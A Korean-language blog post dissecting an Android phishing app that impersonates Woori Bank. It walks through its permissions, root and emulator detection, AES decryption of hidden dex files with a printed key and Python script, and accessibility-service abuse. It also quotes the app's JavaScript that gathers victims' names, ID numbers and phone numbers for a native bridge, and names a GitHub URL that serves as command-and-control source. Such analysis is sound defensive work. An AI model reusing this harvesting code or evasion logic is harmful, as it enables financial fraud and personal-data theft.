#피싱 #어플 #악성코드 #리버싱 #안드로이드 #스파이웨어
우리은행 피싱어플이다. 자매품으로 IBK, KB 도 있으나 대표격으로 한 번 분석해보기로!
앱 UI 와 아이콘 부터 정말 그럴싸하게 해놓았다. 그러나 계좌개설, 금융상품 등등의 버튼은 아예 기능이 없고 대출신청 버튼에만 귀신같이 사용자 정보 form 이 뜬다.
아마 당연히도 추측컨대 이 정보들을 어딘가로 빼가는 것 같다.
일단 어플을 까보았다. 파일 구성은 이렇다.
- assets : 웹페이지, webview 를 담당하는 파일들이 담겨있다. (html 같은거)
- lib : 어플에서 쓰이는 함수가 담긴 여러 라이브러리 파일(.so) 들을 담고있음.
- res : 이미지, 텍스트, 등의 여러 리소스 정보가 .xml 형태로 담겨있음. 버튼에 담기는 글자도 여기 포함된다. 암호화가 되어있는 상태.
- AndroidManifest.xml : 어플이 설치&구동 되기위한 필수 설정 정보. 암호화 되어있는 상태로, 읽을 수 없음.
- classes.dex : 어플이 구동될 때 맨처음 실행되는 dex 파일
- secrect-classes.dex / secret-classes2.dex : classes.dex 에서 Multidex 기술로 분할 된 dex 파일들 암호화 된 상태로 분석불가.
웬만하면 난독화와 암호화가 걸려있는 듯 하다.
1. AndroidManifest.xml 분석
어플의 기초가 되는 AndroidManifest.xml 부터 보기로 하였다.
xml 파일이 읽을 수 없게 암호화가 된 모습이다. 그러나 이런 암호화 방식이 좀 유명한지 이걸 복호화 해주는 툴이 있다.
AXMLPrinter2 라는 툴인데 아래 커맨드로 바로 풀 수 있었다.
java -jar AXMLPrinter2.jar AndroidManifest.xml > AndroidManifest_dex.xml
가장먼저 눈에 띄는 것은 uses-permission
항목이었다. 본 어플에서 사용할 권한에 관한 정보들인데 요구하는 권한이 꽤 많았다. 총 42개의 권한을 요청하며, 주요한 기능만 아래 정리해본다.
권한 | 기능 |
---|---|
READ_CALL_LOG | 사용자의 전화기록을 읽을 수 있음. |
WRITE_CALL_LOG | 사용자의 전화기록을 쓸 수 있음. 통화기록 삭제 및 변조에 사용. (dangerous) |
BOOT_COMPLETED, RECEIVE_BOOT_COMPLETED | 원하는 서비스를 부팅 시에 실행 가능. 마치 윈도우의 시작프로그램 느낌 |
INTERNET | 외부와 네트워크 통신을 할 수 있는 권한. 백그라운드에서 개인정보 빼돌리기 용도로 자주 쓰임. |
READ_PHONE_STATE | 휴대폰 단말 id, 전화번호, 통화상태 등등을 읽을 수 있음 (dangerous) |
ACCESS_NETWORK_STATE | 네트워크 연결상태 확인. 데이터를 쓰는지 와이파이를 쓰는지 등등 |
ACCESS_BACKGROUND_LOCATION, ACCESS_COARSE_LOCATION, ACCESS_FINE_LOCATION | 요 세 가지 트리오는 휴대폰 단말의 위치를 파악하는데에 쓰인다. 당하는 사람이 한국인인지 파악하는데에 중요한 권한! |
acceptRingingCall | 통화에 대해서 어플이 응답을 할 수 있게끔 해주는 권한이라는데 api level 26 부터 쓰이는 권한인 듯함 |
CAMERA | 카메라에 접근할 수 있는 권한 (dangerous) |
PROCESS_OUTGOING_CALLS | 통화중에 통화를 중단시키거나 다른 번호로 통화를 redirect 할 수 있는 권한 |
READ_CONTACTS | 연락처 열람 |
READ_EXTERNAL_STORAGE | 외부 저장소 읽기 |
WRITE_EXTERNAL_STORAGE | 외부 저장소에 쓰기&지우기 (dangerous) |
CALL_PHONE | 사용자의 의지와 상관없이 통화 수행가능 (dangerous) |
READ_SMS, RECEIVE_SMS, SEND_SMS | 휴대폰 문자를 읽고 쓰고 등등을 하는데에 사용되는 권한이다. (dangerous) |
C2D_MESSAGE | 푸시알림 관련 권한 |
권한은 요 정도 보면 될 것 같고, application
탭을 보았다.
여기서 android:name
옵션은 문서 에 따르면, 어플을 실행할 때 가장 먼저 시작되는 클래스라고 한다.
따라서 사진에서는 com.ppnt.ccmd.aavv.Nforg 클래스가 가장 먼저 실행될 것이다.
그리고 가장 먼저 실행되어 보여지는 MainActivity 가 정의되어 있다.
그 밖에도 다른 기능을 하는 여러 Activity 가 있는데 일단은 넘어간다. 이 밖에 AndroidManifest.xml
파일에는 특별한 점은 없다.
2. classes.dex 분석
일단 클래스는 AndroidManifest.xml 파일에서 봤던 것과는 다르게 두 가지 클래스 밖에 없다.
우리가 AndroidManifest.xml 에서 확인한 것처럼 가장 먼저 실행되는 클래스는 com.ppnt.ccmd.aavv.Nforg 이기 때문에 Nforg 를 먼저 분석한다.
그 중에서도 라이프 사이클에 따라서 attachBaseContext -> onCreate 메소드 순으로 분석을 진행해나가면 될 것 같다.
(※ 참고로 attachBaseContext 는 정규적으로 알려진 라이프사이클은 아니지만, 관련 설명 링크 에 따르면 개발자가 attachBaseContext 를 따로 선언하면 onCreate 보다 먼저 실행될 수 있다고 한다.)
attachBaseContext
메소드 부분은 이러하다. {appName}_{appVersion}/app/dexDir 경로가 존재하지 않으면, 옳게 된 파일이라 판단하고, 해커가 만들어 놓은 multiDex 파일들을 체크하고 복호화 하러 진입한다.
checkMultiDex
함수의 마지막 인자가 decrypt 를 담당하는 클래스로 객체화 시킨 것이다. 이 부분만 잘 따라가면 된다.
)
일종의 파일 필터링을 거쳐서 secret-classes.dex 파일들만 가져오게 되는데, 가져온 파일들을 InDe 클래스의 decrypt 메소드로 복호화 시킨다.
InDe 클래스는 어떻게 생겼냐면,
이렇게 생겼다. System.loadLibrary("dn_ssl")
구문으로 lib\armeabi-v7a\libdn_ssl.so 파일을 불러들인 후, 라이브러리 내부에 정의되어있는 decrypt
함수로 multi dexed 된 .dex 파일들을 복호화하는 것이다.
사실 classes.dex
파일은 내용이 워낙 없어서 onCreate
함수까지 볼 필요도 없었다. 핵심로직은 이게 끝이다.
3. libdn_ssl.so 에서 복호화 로직 찾아내기
사실 여긴 별거 없다. 보통 암호화 로직들은 동적으로 가져오기 보다는 정적으로 라이브러리나 바이너리 내에 키와 함께 포함되어있기에 본 악성코드에서도 키랑 암호화로직을 쉽게 찾을 수 있었다.
- 암호화 로직 : AES-128-ECB MODE
- KEY : dbcdcfghijklmaop
아래는 복호화 소스이다.
from Crypto.Cipher import AES
key="dbcdcfghijklmaop"
# ECB MODE don't NEED IV VALUE
cipher = AES.new(key, AES.MODE_ECB)
fp = open("./secret-classes.dex", "rb")
fp2 = open("./secret-classes2.dex", "rb")
fdata = fp.read()
fdata2 = fp2.read()
dec_fdata = cipher.decrypt(fdata)
dec_fdata2 = cipher.decrypt(fdata2)
new_fp = open("./secret_classes_dec.dex", "wb")
new_fp2 = open("./secret_classes2_dex.dex", "wb")
new_fp.write(dec_fdata)
new_fp2.write(dec_fdata2)
fp.close()
fp2.close()
new_fp.close()
new_fp2.close()
복호화 결과 파일은 이렇게 변한다. dex 헤더가 확실히 살아난 것을 확인할 수 있다.
4. secret-classes.dex & secret-classes2.dex 분석
사실 여기까지 분석하면 정적분석은 모두 끝난다. 그만큼 이 부분에서 차지하는 양이 방대하다...
callActivity-1
callActivity-2
그리고 위 처럼, dex 가 두 개로 갈라지면서 드래곤볼 마냥 하나의 클래스와 그 클래스에 의해 만들어진 익명 클래스가 서로 다른 dex 에 나눠지면서 왔다갔다 하면서 분석하기가 굉장히 불편했다.. MultiDex 가 적용된 apk 를 분석할 때 앞으로도 이런 부분에서 좀 애를 먹지 않을까 싶다.
4-(1). 안티샌드박싱 기법
안티 샌드박스라고 해서 하드한 기법이 사용되는 것은 아니고, 기기가 루팅 되어있는지 혹은 에뮬레이터가 실행되어 디버깅 중인지 정도를 확인하는 과정이다.
antiSandBox1
함수부터 보면, 다음과 같은 로직이 존재한다.
)
본 로직은 개발자 옵션에서 USB 디버깅이 활성화 되어있는지에 대한 여부를 확인하는 것으로 혹시나 켜져있어 true 를 리턴하게 되면 개발자 옵션을 강제로 켜도록 한다.
antiSandBox2
함수는 로직이 몇 가지 섞여있는데, 크게 사용자 국가 확인 / 루팅 기기 여부 확인 / 에뮬레이터 동작 여부 확인 / 네트워크 인터페이스 존재여부 의 네 가지 기능이 있다.
코드는 다음과 같다.
locale 객체에서 getLanguage()
를 통해 스마트폰의 언어를 가져와서 korean 인지 확인하는 과정을 볼 수 있다. 간단하쥬?
다음은 루팅 여부 확인 로직 1 인데, 안드로이드 커널이 빌드될 때 서명되는 키 TAG 를 확인하는 과정인데 루팅이 안된 일반적인 Android ROM 은 보통 release-key 로 서명 되는 반면, 루팅 기기는 third-party 개발자에 의해 커널이 test-keys 로 서명된다고 한다.
그래서 만약 buildTag 가 test-keys 면 루팅 기기로 간주하게 되는 것이다.
그리고 루팅 여부 확인 로직 2 이다. Superuser.apk 파일의 존재를 확인한다. Superuser.apk 의 용도 는 루팅 기기에서 사용자가 su
명령을 요청할 때, 해당 유저가 su 를 실행해도 되는 유저인지 판단해주는 apk 라고~ 한다.
아무튼 루팅 기기에 존재하는 apk 중 하나로 Superuser.apk 를 판단하는 것은 은행 어플이나 여러 어플에서 자주 사용하는 루팅기기 확인 로직 중 하나라고 한다.
이 부분이 사실 안티샌드박싱 이라는 용어에 가장 적합한 로직이다. 가상 머신 정도의 역할을 하는 에뮬레이터를 감지하는 부분으로, /proc/tty/drivers
에서 커널드라이버를 탐색하면서 goldfish 라는 이름의 에뮬레이터를 찾는다.
goldfish 는 간단히 말해서 QEMU 에서 제공하는 ARM 에뮬레이터로 해당 에뮬레이터에서 어플 디버깅이나 어플테스팅이 가능하다. PC 로 따지면 VMWare, VirtualMachine 정도 되는 듯.
그래서 해당 에뮬레이터가 검색되면 어플은 즉시 종료된다.
4-(2). 스파이웨어 동작
안티샌드박스 로직은 secret-classes1.dex
의 com.cdnb.w003.MainApplication 에 존재했던 로직이고, 이제 볼 com.cdnb.w003.MainActivity 은 secret-classes2.dex
에 존재하는 로직이다. 항상 multiDex 가 적용되어있음을 염두해두자!
이 부분에서는 core 한 스파이 웨어 동작을 트리거하는데, 그 전에 먼저 가짜로 만들어진 우리은행 홈페이지를 WebView 기능을 통해 띄워준다.
그냥 리소스 참조해서 가져온다. 별거 없당
그 다음은 Handler
함수를 통해 각 기능에 대한 Thread 객체를 실행시킨다.
postDelayed 를 통해 시간차를 두어 실행하는 듯 한데, 우선 처음 실행시키는 ACCESSIBILITY_PERMISSION Thread 는 스파이웨어 동작에 필요한 권한을 확인 받아오는 로직이다.
)
보다시피 어플 시작하자마자 접근성 권한 허용을 받아오는 것을 볼 수 있다.
BlueStack 에서도 실제로 깔고 처음 실행하면 권한 허용안하면 어플이 작동하지 않는 것을 알 수 있다. 여기서 접근성 서비스(Accessibility Service) 에 대해 궁금해서 좀 탐색해보았는데,
설명 중 하나로, 2020 금융보안원 문서에 따르면 접근성 서비스는 본래 장애인 유저들을 위해 청각보조, 타이핑 보조 등의 여러 보조기능을 제공하는 기능인데, 그 기능이 워낙 방대하고 악용하기 쉬워서 해커가 기능 허용을 받고 전화 수신, 발신 및 메시지 접근 등등의 악의적인 행위를 한다고 한다.
밑에 줄을 보면 LAutoService
클래스를 불러오는데, 여기서 추가적인 권한을 더 요청한다.
해당 서비스 클래스 에서는 onServiceConnected -> onAccessibilityEvent
메소드 순으로 라이프사이클이 돌아간다.(엄밀히 말하면 틀린말이긴하지만 분석의 편의를 위해 이렇게 생각하자)
onServiceConnected
메소드에서는 AccessibilityInfo
객체의 packageNames
값에 본 어플을 스파이웨어로 실행시킬 서비스를 적어놓는다.
{"com.android.server.telecom", "com.skt.prod.dialer", "com.google.android.permissioncontroller", "com.google.android.setupwizard", "com.samsung.android.permissioncontroller", "com.android.permissioncontroller", "com.samsung.android.packageinstaller", "com.google.android.packageinstaller", "com.android.packageinstaller"};
그리고 onAccessibilityEvent
메소드로 간다. 사실 이 메소드는 크로스 레퍼런스를 검색해보면 아무 메소드에서도 참조하고 있지 않다. 이유는 라이프 사이클(?) 때문이긴한데, 라이프 사이클이라기 보단 해당 메소드가 동작하는 시점이 정해져있기 때문이다.
해당 메소드에서 인자로 참조하는 AccessibilityEvent event 값이 생기면, 해당 함수가 호출되는데 이 event 라는 것은 쉽게 말해 화면 스크롤, 터치, 등등의 이벤트를 말한다. 그러한 이벤트가 트리거 되었을 때, 해당 함수에서 그 이벤트를 어떻게 할 것인가? 에 대한 메소드가 바로 onAccessibilityEvent
라고 안드로이드 API docs 에서 그럽디다..
아무튼 살펴보자.
초장 부터 아까 지정했던 packageName 들을 가져온다.
그리고 특이한 점은 realm Database 를 이용하여 값을 set 하고, get 한다는 부분이다. 이게 multiDex 와 시너지를 이루면서 getter 와 setter 메소드가 서로 다른 dex 파일에 있어서 조금 귀찮았다;;
삼성, 구글 어플 인스톨 패키지 서비스가 뜨면 알약 관련해서 값 조작을 하는데 크게 중요한 부분은 아닌듯
)
그리고 본 악성코드는 전화 관련해서 스파이웨어 동작이 실행되는데, 특이한게 com.skt.prod.dialer
패키지, 즉 T 전화에 대해서는 로직을 따로 빼놨다는 점이다. 왜인지는 모르겠다.
아무튼 T 전화의 경우에 권한을 받아오는 로직이 위 코드이다.
만약 패키지 중에 T 전화가 없다면 일반 전화로직을 들어간다. 나머지 권한 허용 과정도 사실 다 비슷한 로직이기에 생략은 하는데 아무튼 주로 전화 관련 권한을 허용받는다.
위 사진은 각 은행 별 ARS 목소리를 녹음한 것인데 이와 관련이 있을지 모르겠다
4-(3). 사용자정보 탈취
대출신청 버튼을 누르면, 사용자의 여러 정보를 입력하게 한다. 이걸 이제 피싱어플이니까 탈취하겠거니 생각하게 될 것이다.
정확히 어떤 정보를 어디로 빼가는지까지만 확인해보고 분석을 마무리 해보자.
// subutils.js
var okurl = "./ok.html";
function actionbefor(object) {
var jsonObject ={
nm:getSDGValues(object.nm),
rrno1:getSDGValues(object.rrno1),
rrno2:getSDGValues(object.rrno2),
rrno3:getSDGValues(object.rrno3),
tx:getSDGValues(object.tx),
hp1:getSDGValues(object.hp1),
hp2:getSDGValues(object.hp2),
hp3:getSDGValues(object.hp3),
gongzuo:getSDGValues(object.gongzuo),
nianxin:getSDGValues(object.nianxin),
edu:getSDGValues(object.edu),
dizhi:getSDGValues(object.dizhi)
};
var pushJson = JSON.stringify(jsonObject);
try{
window.android.setUserInfo(pushJson);
}catch(e){
}
window.location.href=okurl;
return false;
}
function getSDGValues(ojbss){
try{
if(ojbss!=undefined){
return ojbss.value;
}
}catch(e){
}
return "";
}
위 소스가 해커가 정보를 dex 의 로직에 연결시키는 자바스크립트 소스이다.
window.android.setUserInfo(pushJson);
이 부분 이후로는 dex 파일의 userInfo 관련 코드를 보면 될 것 같다. (pushJson 이 내가 입력한 개인정보이다!!!)
setUserInfo
함수의 원형이다. json 형태의 개인정보를 받아와서 Config.userInfo
변수에 집어넣는다. 해당 변수의 크로스 레퍼런스를 찾아보자.
이 부분에서 Kit 클래스의 i 메소드에서 url 을 받아오고, userInfo 는 beforeEncodeMap 에 집어넣고 암호화 하여 해당 url 로 전송하는데, url 을 받아오는 과정을 살펴보면 이렇다.
이 부분이 Kit.i
메소드 부분인데 Kit 메소드의 getter
(참고로 내가 임의로 만든 메소드이름이다) 메소드로 부터 db 에 저장되어있는 K_HOST
값을 받아오는 것을 확인할 수 있다. 그러면 setter
로 C&C 서버를 K_HOST
로 저장한 부분이 있을텐데 그 부분을 보자.
git:https://raw.githubusercontent.com/maxw201653/dest/main/pwdText 로 부터 파일 데이터를 받아온다. 아마 그 파일안에 url 정보가 담겨있을 것으로 추정된다. 그리고 MultiDex 때문에 메소드이름이 해당 사진엔 알파벳으로 나와있지만 Kit.d
가 setter
이다. 해당 부분에서 K_HOST
를 지정하는 것을 볼 수 있다.
그러나 그 이후로는 해당 링크의 파일이 삭제되어서 더 이상 분석을 진행할 수 없었다.
여기서 좀 참신한 것은 github 저장소를 악성링크를 뿌리는 C&C 서버역할로 만들었다는 점이다. 해당 악성코드가 탐지되고 AV DB 에 저장되기 전까지는 해당 링크가 막힐일은 없지않은가?
아무튼 피싱어플 구조를 잘 뜯어보았고 많이 알아갈 수 있었던 것 같다. 끗
'<악성코드 분석공부> > <RealSample>' 카테고리의 다른 글
라자루스 루트킷 악성코드 분석 보고서(1/2) (1) | 2023.01.03 |
---|---|
중국발 문서형 이력서 악성코드 - 2. 유니버셜 쉘코드편 (Universial Shellcode) (3) | 2022.01.31 |
중국발 문서형 이력서 악성코드 - 1. 드로퍼&매크로편 (0) | 2022.01.29 |